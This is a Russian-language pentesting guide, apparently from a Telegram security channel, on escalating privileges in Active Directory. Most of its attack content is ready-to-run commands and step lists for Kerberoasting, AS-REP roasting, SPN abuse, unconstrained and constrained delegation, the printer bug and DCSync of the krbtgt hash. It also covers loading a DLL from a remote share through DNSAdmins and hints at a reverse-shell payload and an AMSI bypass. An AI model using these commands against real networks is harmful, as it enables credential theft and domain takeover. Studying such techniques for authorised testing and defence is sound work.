Active Directory - Domain Privilege Escalation​

Active Directory - Domain Privilege Escalation​

SecDet Samurai

Этот руководство объясняет повышение привилегий домена Active-Directory в основном с помощью Kerberos, AS-REP, Set-SPN и делегирование Kerberos. Также объясню те термины, которые должен знать каждый пентестер чтобы понимать атаки, выполняемые в сети Active Directory.

Перед ознакомлением с этой статьей рекомендую почитать начальное введение в эксплуатацию AD:
📌 AD For Red Team

📌 Используем Offensive PowerShell

📌 Боковое Перемещение в AD

На протяжении всей статьи я буду использовать powerview.ps1 и Invoke-Mimikatz при повышении привилегий в Windows/Active Directory Domain. Если потребуются какие-либо другие инструменты, они будут упомянуты в конеце.


Kerberost

  • Автономный взлом паролей сервисных учетных записей.
  • Тикеты сеанса Kerberos (TGS) имеет серверную часть, которая зашифрована с хэшем пароля сервисной учетной записи. Это позволяет запросить тикет и провести офлайн-атаку на пароль.
  • Сервисные учетные записи часто игнорируются (пароли редко меняются) и имеют привилегированный доступ.
  • Хэши паролей учетных записей служб могут использоваться для создания silver ticket.

Методология​

  • 1. Сначала найдите все учетные записи SPN
  • 2. Выберите SPN администратора домена, так как мы делаем повышение привилегий
  • 3. Установите имя участника-службы в качестве значения списка аргументов и создайте новый объект (запросите TGS).
  • 4. Экспортируйте все тикеты с помощью mimikatz
  • 5. Запишите имя файла, в котором хранится тикет этой службы.
  • 6. Взломайте тикет

PowerView ​

Найдите учетные записи пользователей, используемые в качестве служебной учетной записи.​
Get-NetUser -SPN
Get-NetUser -SPN -Verbose | select displayname,memberof

Командлет ​

Запросить ТГС ​
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "spn-name-here"
Проверьте, был ли предоставлен TGS ​
klist

Invoke-Mimikatz ​

Экспортируйте все билеты ​
Invoke-Mimikatz -Command '"kerberos::list /export"'

tgsrepcrack​

Взломайте хэш​
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi


AS-REP ​

  • Если UserAccountControl в настройках включено «Не требовать предварительной аутентификации Kerberos» - предварительная аутентификация Kerberos отключена, можно получить взламываемый пользовательский AS-REP и перебором в автономном режиме.
  • При наличии достаточных прав ( GenericWrite или GenericAll ) предварительная проверка подлинности Kerberos также может быть принудительно отключена.

Методология​

1. Перечислите пользователей, которым не требуется предварительная аутентификация

2. Вы можете попробовать отключить требование предварительной аутентификации пользователя, если у вас есть необходимые разрешения.

3. Выполните запрос AS-REP к пользователю и получите хеш.

4. Используйте JTR для взлома хэша

PowerView ​

Перечислить пользователей​
Get-DomainUser -PreauthNotRequired -Verbose
Проверить права RDPUsers на ACL (дополнительно)​
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Отключить предварительную аутентификацию Kerberos (дополнительно) ​
Set-DomainObject -Identity <user> -XOR @{useraccountcontrol=4194304} -Verbose

ASREPRoast​

Запросить AS-REP​
Get-ASREPHash -UserName USER -Verbose
Чтобы перечислить всех пользователей с отключенной предварительной аутентификацией Kerberos и запросить хэш (дополнительно)​
Invoke-ASREPRoast -Verbose

Set-SPN ​

  • При наличии достаточных прав (GenericAll/GenericWrite) SPN целевого пользователя может быть любым (уникальным в домене).
  • Затем мы можем запросить TGS без особых привилегий. После этого TGS может быть «обжарен через Kerberos».

Методология​

1. Поиск всех участников, у которых есть определенная группа, необходимая в ACL; В этом случае RDPUsers

2. Убедитесь, что имя участника-службы еще не существует.

3. Если нет, создайте уникальный SPN для этой учетной записи.

4. Запрос TGS

5. Экспорт тикетов

6. Взломайте файл, созданный этой службой, с помощью JTR или tgsrepcrack.

PowerView ​

Проверьте групповые права на ACL​
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Проверьте, есть ли у пользователя имя участника-службы ​
Get-DomainUser -Identity <user-here> | select serviceprincipalname
Установите имя участника-службы для пользователя (должно быть уникальным для домена).​
Set-DomainoObject -Identity <user-here> -Set @{serviceprincipalname='ops/whatever1'}

Командлет​

Запросить TGS​
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
Проверьте, был ли предоставлен TGS ​
klist

Invoke-Mimikatz ​

Экспортируйте все тикеты​
Invoke-Mimikatz -Command '"kerberos::list /export"'
Получить хэш цели напрямую (дополнительно) ​
Get-DomainUser -Identity <user-here> | Get-DomainSPNTicket | select -ExpandProperty Hash

tgsrepcrack​

Взломайте хэш​
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi

Неограниченное делегирование ​

  • Делегирование Kerberos позволяет «повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере».
  • Обычно это полезно в многоуровневых службах или приложениях, где требуется двойной переход Kerberos.
  • Например, пользователи аутентифицируются на веб-сервере, а веб-сервер делает запросы к серверу базы данных. Веб-сервер может запрашивать доступ к ресурсам (все или некоторые ресурсы в зависимости от типа делегирования) на сервер базы данных как пользователь, а не как служба веб-сервера учетной записи.
  • Обратите внимание, что для приведенного выше примера службы учетная запись для веб-службы должна быть доверенной, чтобы делегирование могло делать запросы как пользователь.
uc-del
  1. Пользователь предоставляет учетные данные контроллеру домена.
  2. DC возвращает TGT.
  3. Пользователь запрашивает TGS для веб-службы на веб-сервере.
  4. DC предоставляет TGS.
  5. Пользователь отправляет TGT и TGS на веб-сервер.
  6. Учетная запись службы веб-сервера использует TGT пользователя для запроса TGS для сервера базы данных из контроллера домена.
  7. Учетная запись службы веб-сервера подключается к серверу базы данных в качестве пользователя.

Существует два основных типа делегирования:

  • Неограниченное делегирование: сервер первого перехода может запросить доступ к любой службе на любом компьютере.
  • Ограниченное делегирование: сервер первого перехода имеет список услуг, которые он может запросить.

Неограниченное делегирование​

Машина в неограниченном делегировании ​
  • DC помещает TGT пользователя внутрь TGS. При представлении на сервер с неограниченным делегированием, TGT извлекается из TGS и сохраняется в LSASS . Таким образом, сервер может повторно использовать TGT пользователя для доступа к любому другому ресурсу от имени пользователя.
  • Этот может использоваться для повышения привилегий в случае, если мы сможем скомпрометировать компьютер с неограниченным делегированием и администратор домена подключается к этой машине

Методология​

1. Например, у нас есть машина pwn1 в качестве неограниченного пользователя; Мы pwn0, и мы получили плацдарм/учетные данные/хэши для машины pwn2, у которой есть доступ локального администратора для машины pwn1; Следовательно, мы можем выполнить эту атаку

2. Получите сеанс Powershell от имени другого пользователя, используя хеша , если необходимо (в данном случае это pwn2/appadmin)

3. Мы можем попробовать найти локальных администраторов, к которым у него есть доступ, используя Find-LocalAdminAccess -Verbose.

4. Создайте New-PSSession , прикрепленный к «неограниченному пользователю»

5. Войдите в новый сеанс, используя Enter-PSSession.

6. Обойдите AMSI

7. ВЫХОД

8. Загрузите Mimikatz.ps1 в новую сессию с помощью команды Invoke

9. Войдите в новый сеанс Enter-PSSession снова

10. Теперь мы можем получить токен администратора и сохранить его на диск

11. Попробуйте проверить, есть ли у вас файл с DA

12. Если нет, мы можем попытаться извлечь какие-либо сеансы, зарегистрированные как администратор как pwn0, используя Invoke-Hunter , а затем снова запустить атаку.

13. Как только мы получим токен DA, мы можем повторно использовать токен, используя Invoke-Mimikatz.

14. Теперь мы можем получить доступ к любому сервису на DC; Пример ls \\dc-corp\C$ или используйте WMI-команды

PowerView ​

Перечисление компьютеров с неограниченным делегированием ​
Get-NetComputer -UnConstrained
Get-NetComputer -Unconstrained | select -ExpandProperty name

Игнорируйте контроллеры домена, если они появляются в списке, так как для них включено неограниченное делегирование.

Проверить наличие токена и сохранить на диск​

Получите токен администратора. После компрометации компьютера с включенным UD мы можем обмануть или дождаться подключения администратора

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Повторное использование токена DA​
Invoke-Mimikatz -Command '"kerberos::ptt Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'

Invoke-Hunter ​

Извлечь любые сеансы, если вы вошли в систему с правами администратора (если сеанс администратора не найден) ​
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose

Методология (метод ошибки принтера) ​

1. Тот же, что и выше, выполните атаку OPTH, чтобы получить повышенную оболочку как DA.

2. Установите Rubeus.exe для захвата хэшей

3. Запустите MS-RPRN.exe для использования ошибки принтера

4. Скопируйте закодированный в b64 тикет администратора DC

5. Теперь мы можем запустить DCSync-атаку против DC, используя внедренный тикет.

Rubeus.exe​

Включите режим монитора на DA​
.\Rubeus.exe monitor /interval:5 /nowrap

MS-RPRN.exe ​

Используем баг принтера из uservm​
.\MS-RPRN.exe \\dc-user-here \\user-from-Poll-Server-Method

Rubeus.exe ​

Введите закодированный b64 тикет​
.\Rubeus.exe ptt /ticket:b64-text-goes-here

Invoke-Mimikatz ​

Выполните атаку DCSync против DCORP-DC, используя введенный тикет.​
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'


Ограниченное делегирование ​

  • Ограниченное делегирование, если оно включено для учетной записи службы, разрешает доступ только к указанные службы на указанных компьютерах в качестве пользователя.
  • Типичный сценарий, в котором используется ограниченное делегирование - пользователь проходит аутентификацию в веб-службе без использования Kerberos, и веб-служба отправляет запросы на сервер базы данных для получения результатов на основе авторизации пользователя.

Требуются расширения​

  • Для определения пользователя используется расширение Service for User (S4U), которое предоставляет два расширения: Служба пользователя для себя (S4U2self: позволяет службе получить пересылаемый TGS для себя от имени пользователя.
  • Служба пользователя для прокси (S4U2proxy: позволяет службе получать TGS для второй службы от имени пользователя.

Подробное объяснение ​

Службы пользователя для себя(S4U2self): позволяет сервису получить TGS с возможностью переадресации для себя от имени пользователя только с основным именем пользователя без указания пароля. Учетная запись службы должна иметь TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION — T2A4D UserAccountControl атрибут.


Служба пользователя для прокси(S4U2proxy: позволяет сервису получать тикет TGS для второй службы от имени пользователя. Которая вторая служба? Это контролируется msDS-AllowedToDelegateTo.attribute. Этот атрибут содержит список имен участников-служб, к которым пользовательские токены могут быть отправлены.

c-дел
  1. Пользователь - X, аутентифицируется в веб-службе (работает со службой учетная запись websvc) с использованием аутентификации, несовместимой с Kerberos - механизмом.
  2. Веб-сервис запрашивает тикет у ключа Центра распределения (KDC) для учетной записи X без указания пароля, как учетная запись websvc.
  3. KDC проверяет websvc значение userAccountControl для TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION атрибут, и что учетная запись X не заблокирована для делегирования. Если все в порядке возвращает пересылаемый тикет для учетной записи X (S4U2Self).
  4. Затем служба передает этот тикет обратно в KDC и запрашивает билет службы для CIFS/domain-here.
  5. KDC проверяет поле msDS-AllowedToDelegateTo в веб-службе учетной записи. Если служба указана, она вернет билет службы для запрошенных сервисов (S4U2Proxy).
  6. Теперь веб-служба может аутентифицироваться в CIFS в запрошенной службе как X, используя предоставленный TGS.

Методология​

1. Перечислите всех пользователей с ограниченным делегированием.

2. msDS-AllowedToDelegateTo.значение

3. Запросить TGT по хешу пользователя с CD с помощью kekeo(тут)

4. Запишите обратный тикет TGT.

5. Теперь запросите TGS со значениями 2-го и 4-го шагов в качестве параметров в /service и /tgt.

6. Запишите обратный тикет TGS.

7. Теперь мы можем внедрить обратный тикет TGS с помощью Inkove-Mimikatz.

8. Теперь мы можем перечислить файловые системы этой учетной записи. Пример : ls \\dc-account\C$ но не может использовать никакие WMI-команды

10. Но если пользовательский DC, мы можем выполнить тот же процесс, а затем DCSync. атаку

PowerView​

Перечислить пользователей и компьютеры с включенным CD​
. .\PowerView_dev.ps1
# for users
Get-DomainUser -TrustedToAuth
# for computers
Get-DomainComputer -TrustedToAuth

keko​

Запрос TGT 
.\kekeo.exe

tgt::ask /user:domain-here /domain:domain.local /rc4:rc4-hash-here
Запрос TGS
.\kekeo.exe

tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:cifs/computer.domain.LOCAL

Invoke-Mimikatz ​

Внедрение тикета​
Invoke-Mimikatz -Command '"kerberos::ptt TGS.kirbi"'
Выполните DCSync (дополнительно) ​
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Мы можем получить доступ к файловой системе ​
ls \\dc-name-here\C$

Использование Rubeus.exe — UserX​

Мы запрашиваем TGT для userX, используя его хэш NTLM, чтобы получить TGS для userX. как Администратор домена - Администратор. Затем TGS использовал для доступа сервис, указанный в параметре /msdsspn (который является файловой системой на dc-child)​
.\Rubeus.exe s4u /user:userX /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"CIFS/dc-child.child-domain.root-domain.LOCAL" /ptt
Проверьте, вводится ли TGS 
klist
Мы можем получить доступ к файловой системе ​
ls \\dc-name-here\C$


Использование Rubeus.exe - Computers

Злоупотребление делегированием computerX$ с помощью Rubeus (Примечание: используйте параметр /altservice, чтобы включить LDAP для атаки DCSync)​
.\Rubeus.exe s4u /user:comuterX$ /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"service-name-here" /altservice:ldap /ptt
Запустите атаку DCSync 
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

DNS-администраторы ​

  • Члены группы DNSAdmins могут загружать произвольные DLL с привилегиями dns.exe (SYSTEM).
  • В случае, если DC также служит DNS, это обеспечит нам эскалацию до DA. Нужны привилегии для перезапуска службы DNS.

Методология​

1. Перечислите всех членов администраторов DNS.

2. Получите сеанс powershell от имени этого пользователя, используя «Pass the hash», поскольку у нас уже будет хэш.

3. Загрузите mimilib.dll с помощью dnscmd

4. Перезапустите DNS контроллера домена.

5. Теперь все DNS-запросы сохраняются в C:\Windows\System32\kiwidns.log.

РСАТ DNS ​

Из привилегий члена группы DNSAdmins настройте DLL с помощью dnscmd.exe. ​
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\d11\mimilib.dll
Перезапустите службу DNS​
PS> cmd
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
Использование модуля DNSServer​
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\d11\mimilib.d11"
Set-DnsServerSetting -Inputobject $dnsettings -ComputerName dcorp-dc -Verbose

Пользовательский эксплойт для оболочки Rev​

Мы можем отредактировать исходный код kdns.c из mikikatz и добавить нашу собственную вредоносную полезную нагрузку с помощью функции system() и вернуть нам обратную оболочку.


Используемые инструменты ​

  1. Скачать Invoke-Mimikatz отсюда: Invoke-Mimikatz
  2. Загрузите PowerView отсюда: powerview.ps1
  3. Загрузите PowerView Dev отсюда: powerview.ps1
  4. Invoke-UserHunter скачать отсюда: Invoke-UserHunter.ps1
  5. кеко скачать отсюда: кеко
  6. DnsCMD скачать отсюда: DnsCMD
  7. tgsrepcrack.py скачать отсюда: tgsrepcrack.py
  8. Скачать ASREPRoast отсюда: ASREEProast.ps1


Оставайтесь в курсе последних новостей в области кибербезопасности, станьте подписчиком нашего королевства и узнайте о новых методах защит и атак. Не забудьте прочитать и другие наши статьи, чтобы расширить свои знания и быть на шаг впереди потенциальных угроз.

📌https://t.me/secdet_team

📌https://t.me/secdet_team

📌https://t.me/secdet_team


Эти и другие статьи в нашем канале

Безопасность - это постоянный процесс, и каждый шаг, предпринятый в направлении ее улучшения, имеет значение


Report Page